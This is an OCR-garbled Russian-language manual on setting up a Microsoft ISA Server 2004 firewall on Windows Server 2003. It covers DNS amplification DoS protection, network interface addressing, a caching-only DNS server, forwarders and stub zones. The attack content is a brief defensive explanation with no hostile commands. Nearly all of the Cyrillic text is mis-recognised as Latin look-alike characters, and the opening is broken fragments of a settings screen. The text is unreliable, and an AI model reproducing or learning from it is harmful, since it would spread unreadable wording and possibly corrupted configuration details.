Crpasia no pnosewenmEn @ Haznauns
asosare Pt VicanATe NapaneTpol oT3biGa _ SAMMHMCTPATHBHLIE POnK
158 ceprudimaTos [ @ Hacrpours
| nocneposaTensHoe
oK I OTmMena TPHMERHTE | VKaHMTE NapaneTpel COSAHHEHHE MEMCETEBbIX
— 8 HTTP
MPMOPUTUSDOBAHHEIX CITyHE U SKpaHos
(@ HacrpowTe napameTpbi
KAMEHTa MEX(CETEBOro —
NononHuTenbHasa NOMMTHUKA 6ezonacHoCTH _ ELEERE
(@ Onpepenuts RADIUS-
g o OBHaPYHEHNE BTOPAKEHIIT 11 ). HacTpoiiTe napameTps! _ cepeepel
ofiHapyeHue DNS-aTak d npenoTepawers Flood-aTaki ) OnpepennTs -cepeeps
13 ofi DNS & Flood o LDAP

N (@ HacTpoute aBToMaTHUECKOS

?1’3 OnpenennTe HaCcTPOMKY SaWKUTEI IP SR RIS B ER e

@ HacTpowuTe
npecbpasoBaHne CCLINOK

@ Hacrponts Owathe HTTP

(@ Beibpars napamerpbl
0T3bIEA CEPTHOHKATOE

@ HacTponTe napameTpsl
NPHOPHTHZIHPOBAHHBIX
cnywB

l = @ HacrponTe =

noenorepawenne Flood-

ITocne TOIO, KaK BBIIBJICHHMC aTaK  BKIIOYCHO, MOXHO BKIIKOYUTH
NpeaoTBpalliCHUEC U 3alIUTY OT TPEX THIIOB aTakK

e repenojHeHue uMeH y3ioB DNS;
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e nepenoiaHeHue JIuHb DNS;
e nepenaun 30H DNS.

Ataku Tumna mnepenojHeHuss uMeH y3ia0B DNS u mepenonnenus mmen DNS
npencTaBisioT coboit DoS-ataku. D0S-araku DNS otnuyarotcst mo pazmepy ot DNS-
3anmpoca M oT DNS-oTBeTa, B KOTOpPBIX BCSI MPOIYCKHAas CIOCOOHOCTh CETH
3aHuMaeTcsa mnoanenbHbiMH  DNS-3anpocamu. s yBenmuuenus DNS-tpaduka
aTakyrouuit ucnonb3yer DNS-cepBepbl B KaUeCTBE «yCHIUTENICH.

ATakyromnui HaunHaeT mockuiaTh Ha Kaxaeii DNS-cepBep nebGombmme DNS-
3ampochl, KOTOpBIE colepkaT mnonanenbHblil |P-anpec moTeHIManbHON <«OKEPTBBIY.
OTBeThI, BO3BpaIlaeMble Ha HEOOJBIINE 3aMpPOCH], JOBOJBHO OOJBIINE, TOITOMY,
€CIM OJHOBPEMEHHO MMEETCS MHOIO BO3Bpalla€MbIX OTBETOB, KaHaj CBSI3U
meperpy’kaercs ¥ UMeeT MECTO 0TKa3 oT obciyxuBanus (DoS-ataka).

OnHo W3 pemieHUd 3TOM MpoOJIEMBl COCTOUT B TOM, YTO aJIMHUHUCTPATOP
nokeH koHpurypupoBath DNS-cepBepsl Tak, 4T00bI OHU npu nonydeHun DNS-
3ampoca OT TMOJO3PUTENBHOTO WM HEOXKUIAHHOTO HCTOYHHMKA OTBEYAIH
orpunatesbHbIM oTBeToM (refused response), KOTOpbIi HAMHOTO MEHBIIE, YeM

OTBCT YTBCpILI/ITeHBHBIf/'I.

KoundurypupoBanne 6panamayaspa |SA s 6picTporo crapra
B 3TOM pyKoOBOACTBE MO OBICTPOl YCTAHOBKE U KOH(PHUIYPUPOBAHUIO
OpaHIMay3pa HUCIOJIb3YETCSl CEeTh, K KOTOPOW TMPEIBSBISIOTCS CIEAYIOIIUE TPeOo-
BaHUS:
e B OTOH ceTu Het Apyrux cepepoB Windows;
e ycraHoBKa OpanaMayaspa ISA Server 2004 npoussoautcs Ha 6aze OC Windows
Server 2003;
e Ha xomnbioTepe ycranoBiena OC Windows Server 2003 co craHmapTHBIMHU
HACTPOMKAMHU M HET APYTOro MPOrpaMMHOTO 00CCIICUCHHS;

e Ha KommbroTepe Ha Oaze Windows Server 2003 ycTaHOBICHO JBa CETEBBIX
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ananrtepa. OqHa ceteBast MHTepQeiicHas KapTa CoeIMHEHa C BHYTPEHHE! CEThIO,
a Jpyras HampsMylo coenuHsierca ¢ HTepHeTOM uepe3  CeTeBOi
MapIIpyTU3aTop;

KOMIIBIOTEPHl BO BHYTpeHHEH ceTu HacTpoeHbl kak DHCP-xnuentsr u OymayT
UCII0JIb30BaTh KOMITbIOTEep Opanamayspa ISA Server 2004 B kadyecTBe CBOETO
DHCP-cepgepa;

kommbioTep Ha 6aze OC Windows Server 2003, Ha KOTOpPOM YCTaHABIMBACTCSI
nmporpaMMHoe oOecrnieueHue Opanamayspa ISA Server 2004, He sBisercs
yieHoM jgomeHa Windows. XoTs mo3ke peKOMEHIyeTcsl CIeiaTh OpaHaMay3p
ISA YJIEHOM JIOMCHa,
KOMIIBIOTEP, HAa KOTOPOM YCTaHOBJIEHO IIPOrpaMMHOE  oOOecrieueHue
OpangMayspa ISA, He o00s3aTeNbHO AOMKEH OBITH YIEHOM JIOMEHA. ITO
TpeOOBaHHE  HEOOXOJUMO B  JIaHHOM  PYKOBOJCTBE, IMOTOMY  4TO
IpeAIoaraeTcsi, 4YTo B JAHHOW CETH HET JPYrHX cepBepoB Ha Oaze Windows
(Ho B He#ll Moryr ObITh cepBepbl Ha 0Oasze Linux, Netware wu napyrux
IPOU3BOJIUTEIIEH ).

s ObicTpod ycTaHOBKM M KoH(purypupoBanus Opanamaydpa ISA HyKHO

BBIIIOJIHUTD CJIICAYIOIIHUC I[GIZCTBPIH:

HACTPOUTH ceTeBbIe MHTEpPeEickl Opanamayspa ISA,

yctaHoBUTh U HacTpouTb DNS-cepBep Ha kommbiorepe Opanmmayspa ISA
Server 2004;

yctaHoBUTh U HacTpouTh DHCP-cepBep Ha kommbioTepe Opanmmayspa ISA
Server 2004,

YCTaHOBUTH M HACTPOUTH porpammHoe obecnieuenue ISA Server 2004;

HACTPOUTH KOMIbIOTEPHI BHyTpeHHEeH ceTn kak DHCP-knueHTsl.
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KondurypupoBanue cereBbIX nHTep(eiicoB Opanamayipa ISA

Y Opanamayspa ISA nomkeH ObITh XOTsA OBl OJWH BHYTPEHHUN CETEBOMU
uHTep(deiic u onuH BHEIIHHWM ceTeBOll uHTepdeic. YToOsl MpaBUIBLHO HACTPOUTH
ceTeBbie nHTEp(deiick Ha OpanaMayspe ISA, Hy)KHO clenaTh CleayoIee:

e HaszHauuTh |P-afgpeca BHyTpeHHEMY U BHEIIIHEMY CETEBbIM UHTepdeiicam;
e HazHauuTh anapec DNS-cepBepa BHyTpeHHEeMY nHTepdeiicy Opannmayapa ISA;
® TIOMECTUTHh BHYTPEHHUN HHTep(dEelc B BEpX CIUCKA CETEBBIX HHTEP(EIHCOB.

Ha3unauenue |IP-aagpecoB u DNS-cepBepa

[Ipexxne Bcero, Hy>KHO Ha3HAuUUTh cTatudeckue |P-agpeca BHYTpeHHEMY H
BHemHeMy uHTepdeiicy Opanamayaspa ISA. Jlna 6paramayspa ISA Takxke TpeOyeTcs
anpec DNS-cepBepa, cBs3aHHOro ¢ ero BHYTPEHHMM HHTepdeiicoM. [l Bcex
ceTeBbIX uHTepdericoB Opanamayspa ISA ne ucnonssyercas DHCP-cepsep, nmoromy
YTO y BHYTPEHHEro uHTepdelica NOKeH Bcerda ObITh craTtuueckui |P-ampec, a
BHEUIHUM HHTEpQeiic He NOoANEepKUBAET AMHAMUYECKUE aJpeca, IOCKOJIbKY OH
HAXOJHUTCS 32 MAPIIPYTHU3ATOPOM.

Eciu B yuerHoi 3amucu Wutephera mcnonb3yercs DHCP nns mpucBoeHwms
obmero aapeca, To DSL wunum kaOenpHBIM MapuIpyTH3aToOp MOTYT IMOJy4YaTh M
OOHOBJISITH 00U aapec. Kpome Toro, eciu mjisi COCAMHEHUS C WHTEPHET-
npoaitnepom ucnoip3yercs PPPoE (Point-to-Point Protocol over Ethernet, mporoko
«rouka-Touka» uepe3 Ethernet) mmm VPN, To wMapmipytusaTtop Takke MOXKET

BBIITOJIHATH 3THU 3aaa4u.

Kon¢purypuposanue BHyTPpEHHEr o cereBoro uurepgeiica

BryTtpennuit untepdeiic qomken umets |P-agpec ¢ Toro ke uaeHTHdUKaTOpa
CETH, YTO U JIpyrue KOMIIBIOTEPHI BO BHYTPEHHEN CE€TU. DTOT aApec AOJKEH BXOAUTH
B aJIPECHBIN JUAIa30H YACTHOM CETH U HE JOJDKEH Y>KE UCITOJIB30BATHCS B CETH.

bpanamaysp ISA Oyaer HacTpoeH Ha HUCHOJb30BaHUE ajpeca BHYTPEHHETO

unrepdeiica B kauectBe agpeca DNS-cepsepa.
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Ha Opanamayspe ISA nomxeH ObITh cTatmueckuii |P-agpec, CBA3aHHBINA C €ro

BHYTpeHHUM uHTepdeiicom. Ha xommprorepe Ha 0aze OC Windows Server 2003

HY’KHO BBIIIOJIHUTB CJICAYIOIIHC I[CﬁCTBHHZ

[TpaBoii xHomko¥ Meimw meakauTe My Network Places (CereBoe okpyskeHue)
Ha paboyeM CTOJle M BBIOCPUTE B KOHTEKCTHOM MEHIO IyHKT Properties
(CroiicTBa).

B oxne Network Connections (CereBble MOIKIIOYCHHSI) MPaBOM KHOIKON
MBIIIY TMIETKHUTE BHYTPEHHUH CETEBOM MHTEPQEIC 1 BRIOEPUTE B KOHTEKCTHOM
MeHIO yHKT Properties (CBoiicTBa).

B numanoroBom okHe ceTeBoro mHTepdeiica Properties (CBoiicTBa) IIEIKHUTE
npaBoit kHonkoi Meimu Internet Protocol (TCP/IP) (Ilporokon MurtepHera,
TCP/IP) u BeIOCpUTE B KOHTEKCTHOM MeHIO IyHKT Properties (CoiicTsa).

B muanoroBom okne Internet Protocol (TCP/IP) Properties (CroiictBa: IIpoto-
kon Wurepuera, TCP/IP) BeiGepure Use the following I[P address
(Ucnonb3oBate craemyromuii |P-anpec). Bemute |P-ampec BHyTpeHHETO
untepdeiica B TekcroBoe mose IP address (IP-anpec). BBenute Macky mozacetu
JUI1 BHYTPEHHEro wuHTepdeiica B TekcTtoBoM mosne Subnet mask (Macka
nojceTy). He BBoiMTE OCHOBHOM 11LTI03 JJIsl BHYTPEHHETO MHTEpdeiica.
Brioepute Use the following DNS server addresses (Mcmonb30Bath cleayromnme
anpeca DNS-cepepoB). Bsemute IP-agpec BHyTpeHHero wuHTepdeiica
opannMmayspa ISA B TexcroBom mnosie Preferred DNS server (IlpeanounTaemsiii
DNS-cepBep). D10 TOT ke aapec, KOTOpbIi ObLT BBEJEH B TeKCToBOE mone |P-
address (IP-agpec) B 1. 4.

Haxxmurte knonky OK B auanoroBom okue Internet Protocol (TCP/IP) Properties
(Croiictsa: IIpotokon Uutepuera, TCP/IP).

Haxxmute kaonky OK B amuaioroBom okHe Properties (CoiicTBa) BHYTPEHHETO

uHTepdeiica.
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[MPEAYIIPEXJIEHUE

Ecnmu Bo BHyTpeHHel cetm yxe ecth DNS-cepmep, To ciemyeT HaCTpOUTH
BHyTpeHHUN uHTepdeiic Opanamayispa ISA nHa wucnompzoBanue IP-agpeca DNS-
cepBepa BHYTpeHHeH ceTu. 3atem cieayeT HacTpoutb DNS-cepBep BO BHYTpeHHE
CeTH TakK, 4YTOOBI OH pa3spelrai uMeHa xoctoB B Murepuere. DNS-cepsep Microsoft
aBTOMATHUYECKHU pa3penraeT UMeHa XocToB S IHTepHeTe, 1moka (aiiyi KOpHEBBIX CCHUIOK
3aronHsgeTcss KopHeBbIMH cepBepamMu DNS Hutepnera. CranmapTHOe MPaBHIO
JOCTyIa, CO3JaHHe KOTOPOTO OMHCAHO B KOHIIE ATOro paszziena, paspemraer DNS-
cepBepy ucxosmnmii goctyn kK DNS-cepepam MHTEepHETA C TIETBIO pa3pelIeHus] HMCH
XOCTOB.

[MPEAYIIPEXJIEHUE

Hukorna He yka3bpIBaiiTe agpec OCHOBHOTO IIITI03a HA BHYTPEHHEM HHTepdeiice.
VY Opanamayspa ISA MoxeT OBITH JUINL OJWH HUHTEP(DEHC C OCHOBHBIM ITLTFO30M.
Haxxe eciim Ha omgHOM Opanamaydspe ISA yctanoBmeHo 17 cereBbIX MHTEP(EHCHBIX
KapT, TOJIbKO OJTHA U3 HUX MOKET OBITh HACTPOEHA C aJ[pECOM OCHOBHOTO ILTI03a. Bee

APYyTHUE MUTIO3BI JOJDKHBI HACTPAMBATHCs B TaOmIe Mapiipytusaun Windows.

KondurypupoBanue BHEIIHEI 0 ceTeBOro HHTepQerca
Hns toro utobwsl HacTpouTh wuHpopmanui o0 IP-agpecax Ha BHemHeM
unTepderice Opanamayspa ISA, BBITIONHUTE CAEAYIONINE JECHCTBUSA:

e [IpaBoii kHomko# MermH menkaute My Network Places (CereBoe okpyskeHue)
Ha paboyeM CTOJie MW B KOHTEKCTHOM MEHIO BBIOepUTE MyHKT Properties
(CroiicTBa).

e B okue Network Connections (CereBble MOAKIIOUCHHS) MPaBOH KHOIKOM
MBIIINA IIETKHUTE BHEIIHUM CETeBOM HHTEpPEiic U B KOHTEKCTHOM MEHIO
BeIOEpUTE MyHKT Properties (CeolicTra).

e B aumamoroBom okHe cereBoro uutepdetica Properties (CBoiicTBa) IIEIKHUTE
mbimisio  Internet Protocol (TCP/IP) (Ilporokon Wurtepnera, TCP/IP) u
BBIOEpUTE MMyHKT MeHI0 Properties (CoiicTsa).
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e B aumamoroBom okne Internet Protocol (TCP/IP) Properties (CpoiicTBa: mpoTo-
kon Wurepunera, TCP/IP) BweiOepute Use the following I[P address
(Ucnonw3zoBath  ciemyronuit  IP-anpec). Bmemute |IP-aapec  BHemrHero
unTepdeiica B Tekcrooe mose IP address (IP-agpec). BBeaure macky mojacetu
JUI BHeIIHero uHTepdelica B TekcToBoe mose Subnet mask (Macka mojcern).
BBenure OCHOBHOHM TLTIO3 JIsi BHENIHETO HHTEpdeiica B TEKCTOBOE IOJIE
Default gateway (OcHoBHOHM mn1r03). OCHOBHOW MUIFO3 — 3TO ajJpec
MapIIpyTHU3aTopa B CETH.

e Haxmure xaonky OK B amamoroBoMm okue Properties (CoiicTBa) BHEIIHETO
uHTEpdeiica.

COBET
He wnyxHOo HacTpamBath aapec DNS-cepBepa Ha BHemHeM wuHTepdeiice.

Heob6xoaum mums aapec DNS-cepBepa Ha BHyTpeHHEM HHTEpdeiice.

IHopsinok cereBbIX HHTEPdEICcOB

Buytpennuit uatepdeiic komnstorepa ¢ ISA Server 2004 momeniaeTcsi BBEpXy
CIIMCKA CETEBBIX MHTEpPEiicoB, 4TOOBI 00ECTIEUUTh JTYUYIIYIO MPOU3BOJIUTEIHLHOCTD
OpU pa3pelieHud WMEH. BBIMOIHUTE Cclenyroniue AeUCTBUsA, YTOOBl HACTPOUTH
ceteBoit naTepderic Ha kommbioTepe Ha 0aze OC Windows Server 2003:

e [IlpaBoii kHomkoi Mbiu menkaute My Network Places (CeteBoe okpykeHHe)
Ha paboyeM CTOJie M B KOHTEKCTHOM MEHIO BbIOepUTEe NYyHKT Properties
(CroiicTBa).

e B oxne Network and Dial-up Connections (CeteBble OIKITIOUEHUS) MICTKHUTE
MbImbio MeHio Advanced (JlomoJHUTENBHO), a 3aTeM IICIKHUTE MBbIIIbIO
Advanced Settings... (JlomoaHUTEIbHBIE TAPAMETPBEL... ).

e B jamanmoroBom oxuHe Advanced Settings (JlomoaHUTENbHBIE IapamMeTphl)
IIEJKHUTEe MBIIIBIO BHYTpeHHHMU wuHTepdeiic B crnucke Connections
(TTonxmouenust) Ha Bkaaake Adapters and Bindings (Amantepsl U MPHUBSI3KH).

[Tocne Toro kak BbIOpaH BHYTpPEHHUI MHTEp(]Eic, METKHUTE MBIIIBIO CTPEIKY
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BBEPX, YTOOBI IEPEMECTUTH €r0 B BEPX CHHUCKA UHTEP(EHCOB.
e Haxmure kHomky OK B guamoroBom okuHe Advanced  Settings

(lomomHUTEIBEHBIE TTAPAMETPHI).

YcranoBka u koHpurypupoBanne DNS-cepBepa Ha 6panamayaspe ISA

Ha Opannmayspe ISA Oyaer ycranoBieH DNS-cepBep B pexume TOJIBKO
KOLIMPOBAaHUS. DTO MO3BOJUT KOMIIBIOTEpaAM BO BHYTPEHHEH CeTH U OpaHaMayspy
ISA paspemats umena xoctoB B lHTepuere. OTMETHM, YTO €CJIM BO BHYTPEHHEH CETU
yxke ectb DNS-cepBep, TO ycTaHaBIMBaTh €ro emie pa3 He HYXHO. Ecim Bo
BHyTpeHHe# cetu ectb DNS-cepBep, TO MOXKHO NONPOOOBATh HACTPOUTH KOMIIBIOTEP
OpannMayspa ISA kak DNS-cepBep B pexuMe TOJBKO KIIIUPOBAHMS, a 3aTeM
HACTPOUTHh KOMIIBIOTEPHl BO BHYTPEHHEW CETH TaK, YTOOBI OHHU WCITOJIH30BAIH
kommbioTep ¢ ISA Server 2004 B xauectBe DNS-cepBepa wimu npumensiiu DNS-
cepBep BHyTpeHHel cetu, a DNS-cepBep BHyTpeHHEl ceTH HaCTpOUTH Tak, 4TOOBI OH

ucrnoip30Bai Opanamayasp ISA B kauecTBe cepBepa nepecbuiok DNS.

YcranoBka ciy:x061 DNS

Cnyxx6a DNS-cepBepa He ycTaHaBIMBaeTCs MO YMOJYAHUIO B OMEPAIMOHHBIX
cucremax Windows s cepBepoB. CHayaja HY)XHO YCTaHOBUTH cCiy:k0y DNS-
cepBepa Ha koMmbioTepe Ha 0ase Windows Server 2003, koTopslii OyaeT Urpath poJb

OpanaMayapa ISA.

YcraHoBka ciy:kobl DNS-cepBepa Ha 6aze Windows Server 2003
BrimonauTe crneayrommpe JAeUCcTBUS, 4YTOOBI yCTaHOBUTH Ciayx0y DNS Ha
kommbroTepe ¢ Windows Server 2003:

e Haxwmure xHonky Start (ITyck), ycranoBute kypcop Mbimm Ha Control Panel
(ITanenp ympaBienus) W menkaure Mbimbio Add or Remove Programs
(YcTaHoBKa U yAaJeHUE IPOrPaMM).

e B okne Add or Remove Programs (YcraHoBKa M yJaJieHHE MPOrpamm)
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menkaute  Mbimbio - Add/Remove  Windows Components  (YcraHoBka
kommonenToB Windows).

B muamoroBom oxne Windows Components Wizard (Mactep KOMIIOHEHTOB
Windows) wioepure Networking Services (CereBble ciyxkObl) M3 CITHMCKa
Components (Kommonentsr Windows). He ycranaBmuBaiite ¢uiakok B moie!
Brinenus 3amuce Networking Services (CereBbie City:KObI), HOKMUTE KHOIKY
Details (CocraB).

B mmanoroBom oxHe Networking Services (CereBble ClyObl) yCTaHOBHTE
¢utaxok B mosie Domain Name System (DNS) u Haxxmute kHonky OK.
Haxwmure xnomky Next ([lanee) B muamoroBom okune Windows Components
(KommonenTsr Windows).

Haxmute kHonky OK B mmanoroBom okxHe Insert Disk (BcraBka mucka). B
nuanoroBoMm okHe Files Needed (TpeOyembie daiiibl) yKaKUTE IMyTh K ITaIKe
1386 Ha ycranoBouHoM kommakT-mucke Windows Server 2003 B TeKkCTOBOM
noje Copy files from (Pasmerienue daiino) u Haxmure kHonky OK.,

Haxxmute xnomky Finish (I'otoBo) na crtpanmme Completing the Windows
Components Wizard (3aBepiieane padboTsl MacTepa kommnonenToB Windows).

3akpoiite okHo Add or Remove Programs (YcraHoBKa U yJaJIeHUE IPOrpamMm).

Kondurypuposanue cay:xo61 DNS Ha 6panamayaspe ISA

DNS-cepBep Ha kommbioTepe ¢ Opanamayspom ISA Bemonuser DNS-3anmpocht

uMeH XocToB B MIHTepHETEe OT MMEeHHM KOMIbIOTepoB BHyTpeHHe# cetn. DNS-cepsep

Ha Opanmmayspe |ISA HacTpoeH B pexuMme Toibko KamupoBanus. DNS-cepep B

pEeXKUME TOJBKO KIITUPOBAHUS HE uMeeT nHbopmaruu 06 oOmmx wim 9acTHbix DNS-

nMeHax W goMeHax. OH paspemiaeT uMeHa XOCTOB B HMHTEpHETe U KIIIUPYET

pe3ynbTaTtel; OH He orBeuaeT Ha DNS-3ampocet mmen B yactHoit DNS-30He

BHYTpeHHEH cetn uiu B o01eid DNS-30He.
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Ecmu Bo BHyTpeHHe# cetu mmeetrcss DNS-cepBep, mommepKuBarOIMuiA TOMEH
Active Directory, To pacnonoxenusiii Ha Opanamayspe ISA DNS-cepBep MOKHO
HACTPOUTHh B PEXHME TOJIBKO KAIIMPOBAHMS TaK, YTOOBI HAIMPaBJIATh KIWEHTCKHE
3ampochl K JoMeHy BHyTpeHHei cetn Ha DNS-cepBep BHyTpennein cetu. B umtore
DNS-cepBep B pexume TOJIBKO KIIIMPOBAHHMS Ha KoMIbloTepe OpaHmmayspa ISA

Server 2004 we Oyaet memath TekyIiei ycranoBke DNS-cepsepa.

Kondurypuposanue ciay:x661 DNS B Windows Server 2003
st Toro uToObl HacTpouTh ciry:k0y DNS Ha kommbrotepe ¢ Windows Server
2003 BBIOJHUTE CIECAYIONIUE ICUCTBUS:

e Haxwmure kHonky Start (ITyck) u ycranoBute Kypcop Mbimm Ha Administrative
Tools (AnmunaucTpupoBanue). I{eaxkauTe MbIbio 3auch DNS.

e [IpaBoif KHONMKOW MBIIIU HICIKHUTE UMsI CEpBEpa B JIEBOM IMaHEIW KOHCOJH,
ycTaHOBHTE Kypcop Mbimu Ha View (Bum) u menkaure myHkt Advanced
(PactmpeHHsbIit).

e PasBepHHTE BCE Y3IIbI B JIeBOM manenu koncoimn DNS.

e [IpaBoii KHONKOW MBIIIM LIEIKHUTE MMs CEpPBEpA B JIEBOM IMAHEIU KOHCOJIH
DNS u B KOHTEKCTHOM MEHIO BbiOepuTe myHKT Properties (CpoiicTsa).

e B nmuamoroBom oxHe Properties (CsoiicTBa) cepBepa IICIKHHTE MBIIIBIO
Brianky Interfaces (Mutepdeiicer). Boioepute Bapuant Only the following IP
addresses (Tonbko mo ykazanabiM IP-ampecam). [llenkuuTe Mbliibio 1r000it |P-
aZpec, HE CBSI3aHHBIA C BHYTPEHHUM HHTepdeiicoM KommbioTepa. Bbiaenus
takon |P-ampec, Haxkmute kHomky Remove (Ygamuts). Haxkmure KHOTKY
Apply (ITpumeHUTSD).

o Illenxuure wMmbimbto BikIanky Forwarders (Ilepecwhuika). Beeaurte IP-ampec
DNS-cepBepa uHTepHeT-TipoBaiiepa B TekcroBoe mosie Selected domain's
forwarder IP address list (Crnmcok IP-agpecoB cepBepoB IEpeChUIKH IS

BbIOPAHHOTO JIOMEHA), a 3aTeM Haxkmute kHonky Add (JloO0aBuTth). YcTaHoBHTE
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¢maxok B moie Do not use recursion for this domain (He wucnons3oBath

PEKYpPCHUIO JUIsl 3TOr0 JOMEHa). DTOT BapuaHT 3ampemiaer nonbiTku DNS-

cepBepa Ha OpanaMayspe |ISA BBIOTHATH pa3pelnieHne UMEH CaMOCTOSTEIIBHO.

B wutore, ecnu cepBep MepechUIKM HE MOXKET pa3pelIuTh WM, 3ampoc Ha

paspernieHue uMeHu oteepraetes. Haxmute kaonky Apply (IlpumeHuTs).

COBET

Ecnu mpou3BOAMTENHHOCTh pa3pelieHus] UMEH OCTaBIISET JKeNaTh JyYIlero,
orkmounte 3amuch Forwarders (ITepecwiika). Xoporno HacTpoeHHbIE DNS-cepep
WHTEPHET-TIpOBaiiiepa MOXET CYIIECTBEHHO YIYYIIUTh MPOU3BOJUTEIBHOCTD
pa3pelleHusl UMEH, a M10Xo HacTpoeHHbI DNS-cepBep nnTepHeT-npoBaiiepa MoXeT
CHHU3UTH CIIOCOOHOCTH JIOKabHOTO OpanaMayaspa ISA 1o pasperieHno uMeH XOCTOB B
WuTepuere. Yaie Bcero gydiiei MpoOU3BOAUTEILHOCTH MOKHO TOOUTHCS, HCTIONB3YS
DNS-cepBep UHTEpHET-TIPOBAKAEPa, TOTOMY YTO €r0 K3III C pa3pelieHHbIMA HUMEHAMU
XocToB Oombmie, yem k31 Ha DNS-cepBepe B pexume TOIBKO KIUIMPOBAHHUS Ha
JokaiabHOM Opanamayspe ISA.

e Haxwmure knonky OK B nmuanoroBom okHe Properties (CBoiicTsa).
e [IpaBoii KHOIKOWM MBIIIM MICTKHUTE UMs cepBepa, ycraHoBuTe Kypcop Ha All

Tasks (Bce 3amaun) u Haxxmure kHonky Restart (ITepe3amyctuts).

OTH NEeWUCTBHS HYKHO BBITIOJHSATH, TOJIBKO €CIM BO BHYTpeHHel cetn HeT DNS-
Cepsepa, KOTOPBI UCTIONB3yeTcs i oaaepkku qomeHa Active Directory. Eciu Bo
BHyTpeHHel cetu HeT DNS-cepBepa u HeT HeobxoaumocTu B pazpemiennn DNS-umen
BHYTPEHHEW CETH, TO IPONYCTUTE  CICAYIOUMHA  pas3ies, IOCBSIICHHBIN
KOH(UTYPUPOBAHUIO 30HBI-3aTTYIIKH.

[MPEAYIIPEXXJIEHUE

Ecnu Bo BHyTpeHHel cetu yxke ectb DNS-cepep, To He HYKHO BBINOJHATH
yKa3aHHbIE aajiee AecTBH. VX HY)KHO BBIMOIHSITH TOIBKO B TE€X CETAX, T1IE y)KE €CTh
nomensl Active Directory B cpene Windows 2000 Server uimmn Windows Server 2003.
CHayasia Hy)KHO CO3AaTh 30HYy 0OpaTHOTO MPOCMOTpa JJisi BHYTPEHHEH CeTH, B KOTO-
poii pacnioioxeH uaeHTupukarop BHyrpennero DNS-cepsepa.
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[TpaBoii KHOMKOW MbIM mIeNKHUTE Yy3en Reverse Lookup Zones (3onHb
00paTHOro MPOCMOTpa) B JIEBOM MAaHENM KOHCOJM U HaXXMHUTE KHONKY New
Zone (CoznaTh HOBYIO 30HY).

Haxwmure xHomky Next (damee) ma crtpanuie Welcome to the New Zone
Wizard (Bac npuBeTcTByeT MacTep co3JJaHHus HOBOM 30HBI).

Ha crpanunie Zone Type (Tum 30mHb1) BeIOepuTe Stub zone (3ona-3armymika) u
Haxxmute kHonky Next ([Janee).

Beibepure Network ID (Mnmentuduxarop cern ID). Ha crpanume Reverse
Lookup Zone Name (Mmst 30HBI 0OpaTHOTO MPOCMOTPA) BBEIUTE B TEKCTOBOE
noje Network ID (Maentudukarop cetu ID) unentudukarop cetu, B KOTOpOit
pacnonoxeH DNS-cepsep BHyTpenneii cetn. Haxxmute kHonky Next ([Janee).
Ha ctpanunie Zone File (®aiin 30HBI) OCTaBbTE CTaHAApTHOE WM (Qaiiaa U
HaxxmuTe KHonky Next ([amnee).

Ha crpanunie Master DNS Servers (Ocnosubie DNS-cepsepsi) BBemute IP-
anpeca DNS-cepBepa BHyTpeHHeW cetn M HaxkmuTe kKHonky Add (JoGaButh).
[lenkuuTe Mpibio KHOTIKY Next ([lanee).

Haxxmute kuHomky Finish (I'otoBo) Ha ctpanmme Completing the New Zone

Wizard (3aBepiiienue Mactepa Co3/1aHus HOBOW 30HbI).

3aTeM HY>KHO cO3JaTh 30HY IPSIMOT0 MPOCMOTPA AJIsl 30HbI-3arTyIIKH.

[TpaBoii KHOMKOW MbImK IeIKHUTe y3en Forward Lookup Zones (3oHbI
MPSAMOTO MPOCMOTpPA) B JIEBOM MaHENIH KOHCOJU U BbiOepuTe mMyHKT New Zone...
(Co3nmath HOBYIO 30HY...).

Haxxvute xHomky Next ([damee) na crpanunie Welcome to the New Zone
Wizard (Mactep co3maHusi HOBOW 30HBI).

Ha crpanunie Zone Type (Tum 30mub1) BeIOepuTe Stub zone (3ona-3armyiika) u
menkaute kHonky Next ([Janee).

Ha crpanuue Zone name (Mms 30HbI) BBEIUTE UMsI JOMEHA BHYTPEHHEH CETH B

TekcToBoe nosie Zone name (Mwms 3oub1). Haxxmurte kHoniky Next ([Janee).
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e Ha crpanume Zone File (Daiin 30HbI) OCTaBbTE CTAHAAPTHOE UMS (aiisia 30HBI U
menkaute kHomky Next (Ilamee). Ha crpanume Master DNS  Servers
(OcHoBHBIE DNS-cepsepsr) BBEUTE IP-anpec DNS-
cepBepa BHyTpeHHe# cetm m HaxmuTe kHomky Add (/{o6aButh). Hakmmure
kHomnky Next ([lanee).

e Haxwmure xHonky Finish (I'otoBo) ma crpanmme Completing the New Zone
Wizard (3aBepiienue Mactepa co3IaHusl HOBOH 30HBI).

e [IpaBoil KHOMKOW MBIIIN MICTKHUTE WMs CEpBEpa B JICBOW IMaHETH KOHCOJIH;
ycraHoBuTe Kypcop Mbim Ha myHKT All Tasks (Bce 3amaum) u HaxmuTe

kHonky Restart (ITepe3amycTuTs).

Kondurypuposanue cayxob1 DNS Ha DNS-cepBepe BHyTpeHHeili ceTn

Ecnu B opranmsanuu mmeercs uHppactpykrypa DNS, To cnemyer HacTpouTh
DNS-cepBep BHyTpeHHE#l ceTu Ha ucnonb3oBaHue DNS-cepBepa Ha OpaHaMmayspe
ISA Server 2004 B kauectBe cepBepa nepecbuika B DNS. Takas xondurypamnus DNS
aBisieTcss Oonee Oe3omacHoM, moromy uTto DNS-cepBep BHyTpeHHEH ceTH HUKOTIA
HarpsIMyl0 HE B3aUMOJICMCTBYEeT C He BbI3bIBaOIMM J0Bepusi DNS-cepBepom B
NHurepHere.

DNS-cepep BuyTpenneli cetu nepecbutaer DNS-3anpocst Ha DNS-cepBep Ha
opanamayape ISA Server 2004, a DNS-cepsep na Opanamayspe ISA Server 2004
paspemiaer uMs, COXpaHseT pe3yabTaT B CBOEM KdIle, a 3aTeM Bo3Bpariaet |P-agpec
Ha DNS-cepBep Bo BHyTpeHHEH ceTH.

[MPEAYIIPEXJIEHUE

[lepeuncnennple nanee IEHCTBUS CIEAYyET BBINOJHATh, TOJIBKO €CIU BO
BHyTpeHHe# cetn umeercss DNS-cepep, a BHyTpennuit unrepdeiic 6panamayspa ISA
ObLT HacTpoeH Ha ucnosib3oBaHue BHyTpeHHero DNS-cepsepa. Eciu BHyTpeHHEro

DNS-cepBepa HeT, TO 3TU ACUCTBUS BHITIOJHATH HE HYXKHO.
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Brimonaute crnenyromue aeiictBus Ha DNS-cepBepe BHyTpeHHEH CeTH, 4TOOBI

HAacCTpOUTh €ro Ha ucrnoib3oBaHue DNS-cepBepa nHa Opanamayspe ISA B kauecTBe

cepBepa MepechUIOK:

Haxxmute kHonky Start (ITyck) u ycranoBute Kypcop Meimu Ha Administrative
